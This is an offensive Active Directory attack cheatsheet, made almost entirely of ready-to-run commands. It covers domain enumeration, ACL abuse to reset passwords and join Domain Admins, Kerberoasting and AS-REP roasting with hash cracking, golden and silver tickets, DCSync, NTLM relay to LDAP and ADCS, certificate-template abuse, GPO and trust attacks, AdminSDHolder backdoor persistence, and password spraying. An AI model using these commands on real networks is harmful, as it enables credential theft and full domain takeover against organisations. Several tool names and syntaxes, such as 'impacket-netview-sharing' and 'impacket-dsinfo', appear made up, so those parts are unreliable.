Title	Active Directory Attacks — Quick Reference
Category	Cheatsheets
Description	Atacuri Active Directory end-to-end: enumerare fără credențiale, LLMNR/NTLMv2 poisoning, Kerberoasting, AS-REP roasting, pass-the-hash, DCSync, ACL abuse și lateral movement.
Updated	2026-07-11

Active Directory Attacks — Quick Reference

Initial Enumeration (No Credentials)

# SMB null session
nxc smb <target> -u '' -p '' --shares
nxc smb <target> -u '' -p '' --users              # if RID cycling works
nxc smb <target> --rid-brute -u '' -p ''

# LDAP anonymous bind
nxc ldap <target> -u '' -p '' -M users             # dump users (if null bind allowed)
nxc ldap <target> -u '' -p '' --bloodhound -ns <DNS> --collection All

# DNS zone transfer
dig axfr @<DC_IP> DOMAIN.LOCAL
dnsrecon -d DOMAIN.LOCAL -t axfr

# OSINT / ASREP-roast (no creds)
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt DOMAIN/ -request -no-pass

Enumeration (With Credentials)

nxc — SMB

nxc smb <target> -u <user> -p <pass> --shares       # enumerate shares
nxc smb <target> -u <user> -p <pass> --users         # domain users
nxc smb <target> -u <user> -p <pass> --groups        # domain groups
nxc smb <target> -u <user> -p <pass> --local-groups  # local groups
nxc smb <target> -u <user> -p <pass> --loggedon-users # logged on users
nxc smb <target> -u <user> -p <pass> --sessions      # active sessions
nxc smb <target> -u <user> -p <pass> --rid-brute     # RID brute
nxc smb <target> -u <user> -p <pass> -M spider_plus  # spider shares
nxc smb <target> -u <user> -p <pass> -M lsassy       # extract creds from lsass

nxc — LDAP

nxc ldap <target> -u <user> -p <pass> --users          # all users
nxc ldap <target> -u <user> -p <pass> --groups         # all groups
nxc ldap <target> -u <user> -p <pass> -M adcs          # check for ADCS
nxc ldap <target> -u <user> -p <pass> -M subdomain     # find subdomains
nxc ldap <target> -u <user> -p <pass> -M maq           # machine account quota
nxc ldap <target> -u <user> -p <pass> -M get-network   # find network info
nxc ldap <target> -u <user> -p <pass> --asreproast      # AS-REP roast
nxc ldap <target> -u <user> -p <pass> --kerberoasting   # Kerberoast
nxc ldap <target> -u <user> -p <pass> --trusted-for-delegation  # find unconstrained delegation
nxc ldap <target> -u <user> -p <pass> -M deleg-rights   # delegation rights
nxc ldap <target> -u <user> -p <pass> -M gmsa           # find gMSA accounts
nxc ldap <target> -u <user> -p <pass> -M user-desc      # description field for creds

impacket enumeration

# Get domain info
impacket-dsinfo -dc-ip <DC_IP> DOMAIN/<user>:<pass>

# Get users + SPNs
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass>

# Find writable shares
impacket-smbclient DOMAIN/<user>:<pass>@<target> -dir

BloodHound Collection

SharpHound (Windows — run on domain-joined machine)

# All collection methods
SharpHound.exe -c All

# Specific collection
SharpHound.exe -c Group,LocalAdmin,Session,Trusts,ACL,Container,RDP,DCOM,PSRemote

# LDAP only (stealthier, no session polling)
SharpHound.exe -c Group,LocalAdmin,ACL,Container,Trusts --LDAPUser <user> --LDAPPass <pass>

# With domain and DC specified
SharpHound.exe -d DOMAIN.LOCAL --domaincontroller <DC_IP> -c All

BloodHound.py (Linux — no Windows needed)

# Basic collection
bloodhound-python -d DOMAIN.LOCAL -u <user> -p <pass> -ns <DC_IP> -c All

# Specific collection methods
bloodhound-python -d DOMAIN.LOCAL -u <user> -p <pass> -ns <DC_IP> -c Group,LocalAdmin,Session,Trusts,ACL

# With LDAP username (different creds for LDAP)
bloodhound-python -d DOMAIN.LOCAL -u <user> -p <pass> -ns <DC_IP> -c All --dns-tcp

# Kerberos auth
bloodhound-python -d DOMAIN.LOCAL -u <user> -p <pass> -k -c All

nxc BloodHound collection

nxc smb <target> -u <user> -p <pass> --bloodhound -c All -ns <DNS_IP>
nxc ldap <target> -u <user> -p <pass> --bloodhound -c All --dns-server <DNS_IP>

ACL Abuse Paths

Common ACL rights that enable privilege escalation:

Right	What It Allows
GenericAll / FullControl	Full control over the target object
WriteOwner	Change object owner to yourself
WriteDacl	Modify object's ACL (grant yourself rights)
AllExtendedRights	All extended rights including ForceChangePassword
ForceChangePassword	Reset user's password without knowing it
AddMember	Add yourself (or others) to a group
WriteProperty (servicePrincipalName)	Set SPN → Kerberoastable
WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity)	RBCD attack
GenericWrite	Write any writable properties
Self-Membership	Add yourself to the group
AddKeyCredentialLink	Shadow Credentials (add certificate for PKINIT auth)
DS-Replication-Get-Changes	DCSync rights

ForceChangePassword

# Using impacket
impacket-smbpasswd -newpass NewPass123 DOMAIN/<victim>@<DC_IP> -altuser <our_user> -altpass <our_pass>

# Using nxc
nxc smb <target> -u <our_user> -p <our_pass> -M forcechangepassword -o TARGET=victim_user NEWPASS=NewPass123

# Using bloodyAD
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <our_user> -p <our_pass> set password victim_user NewPass123

AddMember to group (e.g., Domain Admins)

# Using impacket
impacket-netview-sharing DOMAIN/<user>:<pass>@<DC_IP> -add ldap://<DC_IP>/CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL -method SAMR -member CN=<our_user>,CN=Users,DC=DOMAIN,DC=LOCAL

# Using bloodyAD
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <our_user> -p <our_pass> add groupMember "Domain Admins" our_user

# Using nxc
nxc smb <target> -u <our_user> -p <our_pass> -M addgroupmember -o GROUP="Domain Admins" USER="our_user"

WriteDacl abuse

# Grant DCSync rights via bloodyAD
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <current_user> -p <pass> add dcsync our_user

Kerberos Attacks

AS-REP Roasting

# Find and crack AS-REP roastable users
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt DOMAIN/ -request -no-pass
impacket-GetNPUsers -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request

nxc ldap <target> -u <user> -p <pass> --asreproast asrep.txt

# Crack with hashcat
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

# Find + request TGS tickets
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request -outputfile kerberoast.txt

nxc ldap <target> -u <user> -p <pass> --kerberoasting kerberoast.txt

# Targeted kerberoasting (single user)
impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request-user "svc_account"

# Crack with hashcat
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Pass-the-Ticket

# Export ticket
export KRB5CCNAME=/path/to/ticket.ccache

# Use with impacket
impacket-psexec DOMAIN/user@<target> -k -no-pass
impacket-wmiexec DOMAIN/user@<target> -k -no-pass
impacket-smbexec DOMAIN/user@<target> -k -no-pass
impacket-secretsdump -k DOMAIN/admin@<DC_IP> -no-pass

# Use with nxc
nxc smb <target> -k

Silver Ticket

# Requires service account NTLM hash
impacket-ticketer -nthash <NTLM> -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL -spn cifs/<target.domain> Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec DOMAIN/Administrator@<target> -k -no-pass

Golden Ticket

# Requires KRBTGT NTLM hash
impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL Administrator
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k DOMAIN/Administrator@<DC_IP> -no-pass

DCSync

Requires: Domain Admin, Enterprise Admin, or DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights.

# Full DCSync
impacket-secretsdump DOMAIN/<admin>:<pass>@<DC_IP>

# DCSync specific user
impacket-secretsdump DOMAIN/<admin>:<pass>@<DC_IP> -just-dc-user krbtgt

# NTLM hashes only
impacket-secretsdump DOMAIN/<admin>:<pass>@<DC_IP> -just-dc-ntlm

# Pass-the-hash + DCSync
impacket-secretsdump -hashes <LM:NT> DOMAIN/<user>@<DC_IP>

# With nxc
nxc smb <DC_IP> -u <admin> -p <pass> --ntds
nxc smb <DC_IP> -u <admin> -p <pass> --ntds vss
nxc smb <DC_IP> -u <admin> -p <pass> --ntds drsuapi

# Mimikatz
lsadump::dcsync /domain:DOMAIN.LOCAL /all
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt

SMB Relay

Relay NTLM authentication from one host to another.

Responder + ntlmrelayx

# 1. Disable SMB and HTTP servers in Responder.conf
# [Responder.conf]
# SMB = Off
# HTTP = Off

# 2. Run Responder to capture
responder -I eth0 -dw

# 3. Run ntlmrelayx to relay
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

# Target file format (one per line, or use -t for single target)
# smb://192.168.1.10     # relay to SMB
# http://192.168.1.10    # relay to HTTP
# https://192.168.1.10   # relay to HTTPS
# imap://...             # relay to IMAP

# With socks (interactive sessions)
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

# Then use socks for commands
nxc smb <target> -u <relayed_user> --no-bruteforce --socks

ntlmrelayx — ADCS (NTLM Relay to CA)

impacket-ntlmrelayx -t http://<CA_SERVER>/certsrv/certfnsh.asp -smb2support -adcs -template DomainController

NTLM Relay

# Relay SMB to LDAP (for RBCD)
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support --delegate-access -escalate-user <controlled_user>

# Relay SMB to SMB
impacket-ntlmrelayx -t smb://<target> -smb2support

# Multi-relay
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

ADCS Abuse (Active Directory Certificate Services)

ESC1 — Misconfigured Certificate Templates (Client Authentication + SAN)

Condition: Template allows enrollment, allows SAN (Subject Alternative Name) specification, and grants Domain Authentication or Client Authentication EKUs. Low-priv user can enroll.

# Find vulnerable templates
certipy find -u <user>@DOMAIN.LOCAL -p <pass> -dc-ip <DC_IP> -stdout

# Request cert as domain admin (specifying SAN)
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template <VULN_TEMPLATE> -dc-ip <DC_IP> -upn [email protected]

# Authenticate with cert (get TGT)
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

ESC2 — Template with Any Purpose EKU (OID 2.5.29.37.0)

Template allows Any Purpose EKU — can be used for anything including client auth.

certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template <TEMPLATE> -dc-ip <DC_IP>

ESC3 — Enrollment Agent Templates

Certificate template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1), enabling enrollment on behalf of another user.

# Step 1: Request Enrollment Agent cert
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template <ENROLLMENT_AGENT_TEMPLATE> -dc-ip <DC_IP>

# Step 2: Request on behalf of admin
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template <TEMPLATE> -dc-ip <DC_IP> -on-behalf-of 'DOMAIN\Administrator' -pfx user.pfx

ESC4 — Vulnerable Template Access Control

Attacker has WriteOwner/FullControl over a certificate template — modify template to make it ESC1.

# Check vulnerable ACL
certipy find -u <user>@DOMAIN.LOCAL -p <pass> -dc-ip <DC_IP> -vulnerable -stdout

# Modify template (set EKU, flags, SAN)
certipy template -u <user>@DOMAIN.LOCAL -p <pass> -template <TEMPLATE> -save-old

# Then request as ESC1
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template <TEMPLATE> -dc-ip <DC_IP> -upn [email protected]

ESC5 / ESC7 — CA Access Control / SubCA

ESC5: Weak CA security (low-priv user has admin rights on CA).
ESC7: SubCA template misconfiguration + CA Administrator rights.

# Abuse CA Administrator rights to enable SubCA template
certipy ca -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -dc-ip <DC_IP> -enable-template SubCA

# Then request cert (gets MANAGER_APPROVAL, need to issue)
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template SubCA -dc-ip <DC_IP>

# Issue the failed request
certipy ca -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -dc-ip <DC_IP> -issue-request <REQUEST_ID>

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set (allows SAN in all templates).

# Check if flag is set
certipy find -u <user>@DOMAIN.LOCAL -p <pass> -dc-ip <DC_IP> -stdout | grep -i "EDITF\|SAN"

# If set, any template that allows client auth can be used with SAN
certipy req -u <user>@DOMAIN.LOCAL -p <pass> -ca <CA_NAME> -template User -dc-ip <DC_IP> -upn [email protected]

ESC8 — NTLM Relay to ADCS (HTTP endpoint)

Relay NTLM authentication to CA web enrollment endpoint.

# Find CA servers
nxc ldap <DC_IP> -u <user> -p <pass> -M adcs

# Relay NTLM to CA
impacket-ntlmrelayx -t http://<CA_SERVER>/certsrv/certfnsh.asp -smb2support -adcs -template DomainController

# (Simultaneously trigger NTLM auth via printer bug, etc.)
# Use PetitPotam or PrinterBug to force auth from DC

Authenticate with certificate

# Get TGT from cert
certipy auth -pfx <cert.pfx> -dc-ip <DC_IP>

# Get NTLM hash from cert
certipy auth -pfx <cert.pfx> -dc-ip <DC_IP> -domain DOMAIN.LOCAL

# Using PKINITtools
python3 PKINITtools/gettgtpkinit.py DOMAIN.LOCAL/Administrator -cert-pfx cert.pfx admin.ccache
export KRB5CCNAME=admin.ccache
python3 PKINITtools/getnthash.py -key <AS-REP key> DOMAIN.LOCAL/Administrator

Group Policy Abuse

# Find writable GPOs
nxc smb <target> -u <user> -p <pass> -M gpo

# Find GPOs that apply to a specific user/computer
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <user> -p <pass> get object <computername>

# Abuse GPO (if user has Write access to a GPO)
# Create a scheduled task via GPO
python3 pygpoabuse.py DOMAIN.LOCAL/<user>:<pass> -gpo-id "GPO_XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" -taskname "UpdateTask" -taskpath "\" -command "net localgroup Administrators our_user /add"

# Using SharpGPOAbuse (Windows)
SharpGPOAbuse.exe --AddComputerTask --TaskName "Updater" --Author DOMAIN\Administrator --Command "cmd.exe" --Arguments "/c net localgroup Administrators our_user /add" --GPOName "VULN_GPO_NAME"

Domain Trust Attacks

List trusts

# nxc
nxc ldap <DC_IP> -u <user> -p <pass> -M enum_trusts

# BloodHound will map trust relationships automatically

# PowerShell (on Windows)
Get-ADTrust -Filter *
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# impacket
impacket-dsgetdns -dc-ip <DC_IP> DOMAIN.LOCAL/<user>:<pass>

SID History Abuse (Trust Jump)

If SID filtering is disabled on a trust, add an Enterprise Admin SID to a user's SID History.

# Get SID of Enterprise Admins in the target domain
# Create a golden ticket with extra SID
impacket-ticketer -nthash <krbtgt_NT> -domain-sid <DOMAIN_SID> -domain DOMAIN.LOCAL -extra-sid <TARGET_ENTERPRISE_ADMIN_SID> Administrator

export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k DOMAIN/Administrator@<TARGET_DC> -no-pass

Extra-SID Golden Ticket

# Get Enterprise Admins SID of target domain
# Add it with -extra-sid
impacket-ticketer -nthash <krbtgt_NT> -domain-sid S-1-5-21-DOMAIN1 -domain DOMAIN1.LOCAL -extra-sid "S-1-5-21-TARGETDOMAIN-519" Administrator

# Use the ticket for TARGET domain resources
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k DOMAIN1/Administrator@<TARGET_DC> -no-pass

Inter-Realm TGT / Trust Ticket

# Get the target domain's KRBTGT hash (via DCSync in child domain)
# Create referral ticket or golden ticket for parent domain
impacket-ticketer -nthash <child_krbtgt> -domain-sid <CHILD_SID> -domain CHILD.DOMAIN.LOCAL -extra-sid <PARENT_ENTERPRISE_SID> Administrator

Forest Trust (Cross-Forest)

SID Filtering

SID filtering is enabled by default for forest trusts — SID History abuse does NOT work across forests. But other techniques apply:

Cross-forest Kerberos attacks

# Kerberoast across forest trust (if trust is bidirectional)
impacket-GetUserSPNs -dc-ip <FOREST1_DC> -target-domain FOREST2.LOCAL FOREST1/user:pass -request

# Use /request for TGS from the OTHER forest

Cross-forest ACL abuse

If a user from Forest A has administrative rights over resources in Forest B (e.g., through groups like BUILTIN\Administrators, BUILTIN\Remote Desktop Users):

# Enumerate groups from trusted domains
nxc ldap <DC_IP> -u <user> -p <pass> -M enum_trusts

ACL-Based Persistence

AdminSDHolder

Modify the AdminSDHolder container's ACL — every 60 minutes, SDProp propagates these ACLs to all protected groups (Domain Admins, Enterprise Admins, etc.).

# Grant a user FullControl on AdminSDHolder
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <our_user> -p <pass> set genericall "CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL" "CN=backdoor_user,CN=Users,DC=DOMAIN,DC=LOCAL"

# After 60 min, backdoor_user gets all rights on all protected objects

DCSync Rights Persistence

# Grant DCSync rights to a non-privileged user
bloodyAD --host <DC_IP> -d DOMAIN.LOCAL -u <our_user> -p <pass> add dcsync backdoor_user
# Or via PowerView / DACL abuse

Shadow Credentials

Add a KeyCredential to a target object (user/computer). Then authenticate as that object using PKINIT.

# Using pywhisker
python3 pywhisker.py -d DOMAIN.LOCAL -u <user> -p <pass> -t <target_user> --action add

# Using certipy
certipy shadow add -u <user>@DOMAIN.LOCAL -p <pass> -account <target_user> -dc-ip <DC_IP>

# Authenticate with the certificate
certipy auth -pfx <target_user>.pfx -dc-ip <DC_IP>

# Using nxc
nxc ldap <DC_IP> -u <user> -p <pass> -M shadowcred -o TARGET=<target_user> ACTION=add

Password Spraying

# nxc SMB with single password across multiple users
nxc smb <target> -u users.txt -p 'Password123' --no-bruteforce --continue-on-success

# nxc with domain
nxc smb <target> -d DOMAIN.LOCAL -u users.txt -p 'password' --no-bruteforce

# kerbrute password spray
kerbrute passwordspray -d DOMAIN.LOCAL --dc <DC_IP> users.txt 'Password123'

Quick Win Checklist

1. nxc smb <target> -u '' -p '' --shares --users          # null session
2. nxc ldap <target> -u <user> -p <pass> --users          # authenticated enum
3. bloodhound-python -d DOMAIN -u <user> -p <pass> -ns <DC> -c All
4. impacket-GetNPUsers -dc-ip <DC_IP> DOMAIN/ -usersfile users.txt -request -no-pass
5. impacket-GetUserSPNs -dc-ip <DC_IP> DOMAIN/<user>:<pass> -request
6. nxc ldap <DC_IP> -u <user> -p <pass> -M adcs          # ADCS check
7. nxc ldap <target> -u <user> -p <pass> --trusted-for-delegation
8. impacket-secretsdump DOMAIN/<admin>:<pass>@<DC_IP>      # DCSync if DA
9. certipy find -u user@DOMAIN -p pass -dc-ip <DC_IP>     # cert vulns
10. Check BloodHound for shortest path to DA